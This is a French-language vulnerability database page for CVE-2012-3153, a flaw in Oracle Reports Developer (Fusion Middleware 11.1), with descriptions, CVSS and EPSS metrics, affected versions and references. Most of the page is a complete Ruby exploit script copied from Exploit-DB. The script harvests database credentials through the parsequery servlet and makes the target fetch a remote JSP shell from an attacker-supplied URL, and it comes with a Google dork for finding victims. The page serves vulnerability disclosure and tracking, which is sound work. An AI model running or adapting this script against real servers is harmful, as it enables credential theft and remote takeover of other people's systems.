CVE-2012-3153 : Détail

CVE-2012-3153

91.94%V3
Network
2012-10-16
21h00 +00:00
2017-08-28
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown vectors related to Servlet. NOTE: the previous information is from the October 2012 CPU. Oracle has not commented on claims from the original researcher that the PARSEQUERY function allows remote attackers to obtain database credentials via reports/rwservlet/parsequery, and that this issue occurs in earlier versions. NOTE: this can be leveraged with CVE-2012-3152 to execute arbitrary code by uploading a .jsp file.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.4 AV:N/AC:L/Au:N/C:P/I:P/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 31253

Date de publication : 2014-01-28 23h00 +00:00
Auteur : Mekanismen
EDB Vérifié : No

#!/usr/bin/env ruby # Exploit Title: Oracle Reports 11.1 # About: Automated exploit for CVE-2012-3153/CVE-2012-3152 # Google Dork: inurl:/reports/rwservlet/ # Date: 01/28/2014 # Exploit Author: Mekanismen <mattias@gotroot.eu> # Credits to: @miss_sudo for initial disclosure # Reference: http://netinfiltration.com/ # Vendor Homepage: http://www.oracle.com/ # Version: 11.1 # Tested on: Linux # CVE-2012-3153 # CVE-2012-3152 require 'uri' require 'open-uri' require 'openssl' #OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE def upload_payload(dest) url = "#{@url}/reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/#{dest}/images/#{@payload_name}+JOBTYPE=rwurl+URLPARAMETER='#{@payload_url}'" #print url begin uri = URI.parse(url) html = uri.open.read rescue html = "" end if html =~ /Successfully run/ @hacked = true print "[+] Payload uploaded!\n" else print "[-] Payload uploaded failed\n" end end def getenv(server, authid) print "[+] Found server: #{server}\n" print "[+] Found credentials: #{authid}\n" print "[*] Querying showenv ... \n" begin uri = URI.parse("#{@url}/reports/rwservlet/showenv?server=#{server}&authid=#{authid}") html = uri.open.read rescue html = "" end if html =~ /\/(.*)\/showenv/ print "[+] Query succeeded, uploading payload ... \n" upload_payload($1) else print "[-] Query failed... \n" end end @payload_url = "" #the url that holds our payload (we can execute .jsp on the server) @url = "" #url to compromise @hacked = false @payload_name = (0...8).map { ('a'..'z').to_a[rand(26)] }.join + ".jsp" print "[*] PWNACLE Fusion - Mekanismen <mattias@gotroot.eu>\n" print "[*] Automated exploit for CVE-2012-3152 / CVE-2012-3153\n" print "[*] Credits to: @miss_sudo\n" unless ARGV[0] and ARGV[1] print "[-] Usage: ./pwnacle.rb target_url payload_url\n" exit end @url = ARGV[0] @payload_url = ARGV[1] print "[*] Target URL: #{@url}\n" print "[*] Payload URL: #{@payload_url}\n" print "[*] Payload name: #{@payload_name}\n" begin #Can we view keymaps? uri = URI.parse("#{@url}/reports/rwservlet/showmap") html = uri.open.read rescue print "[-] URL not vulnerable or unreachable\n" exit end test = html.scan(/<SPAN class=OraInstructionText>(.*)<\/SPAN><\/TD>/).flatten #Parse keymaps for servers print "[*] Enumerating keymaps ... \n" test.each do |t| if not @hacked t = t.delete(' ') url = "#{@url}/reports/rwservlet/parsequery?#{t}" begin uri = URI.parse(url) html = uri.open.read rescue end #to automate exploitation we need to query showenv for a local path #we need a server id and creds for this, we enumerate the keymaps and hope for the best #showenv tells us the local PATH of /reports/ where we upload the shell #so we can reach it from /reports/images/<shell>.jsp if html =~ /userid=(.*)@/ authid = $1 end if html =~ /server=(\S*)/ server = $1 end if server and authid getenv(server, authid) end else break end end if @hacked print "[*] Server hopefully compromised!\n" print "[*] Payload url: #{@url}/reports/images/#{@payload_name}\n" else print "[*] Enumeration done ... no vulnerable keymaps for automatic explotation found :(\n" #server is still vulnerable but cannot be automatically exploited ... i guess end

Products Mentioned

Configuraton 0

Oracle>>Fusion_middleware >> Version 11.1.1.4.0

Oracle>>Fusion_middleware >> Version 11.1.1.6.0

Oracle>>Fusion_middleware >> Version 11.1.2.0

Références

http://www.exploit-db.com/exploits/31253
Tags : exploit, x_refsource_EXPLOIT-DB
http://seclists.org/fulldisclosure/2014/Jan/186
Tags : mailing-list, x_refsource_FULLDISC
http://www.securityfocus.com/bid/55961
Tags : vdb-entry, x_refsource_BID
http://www.mandriva.com/security/advisories?name=MDVSA-2013:150
Tags : vendor-advisory, x_refsource_MANDRIVA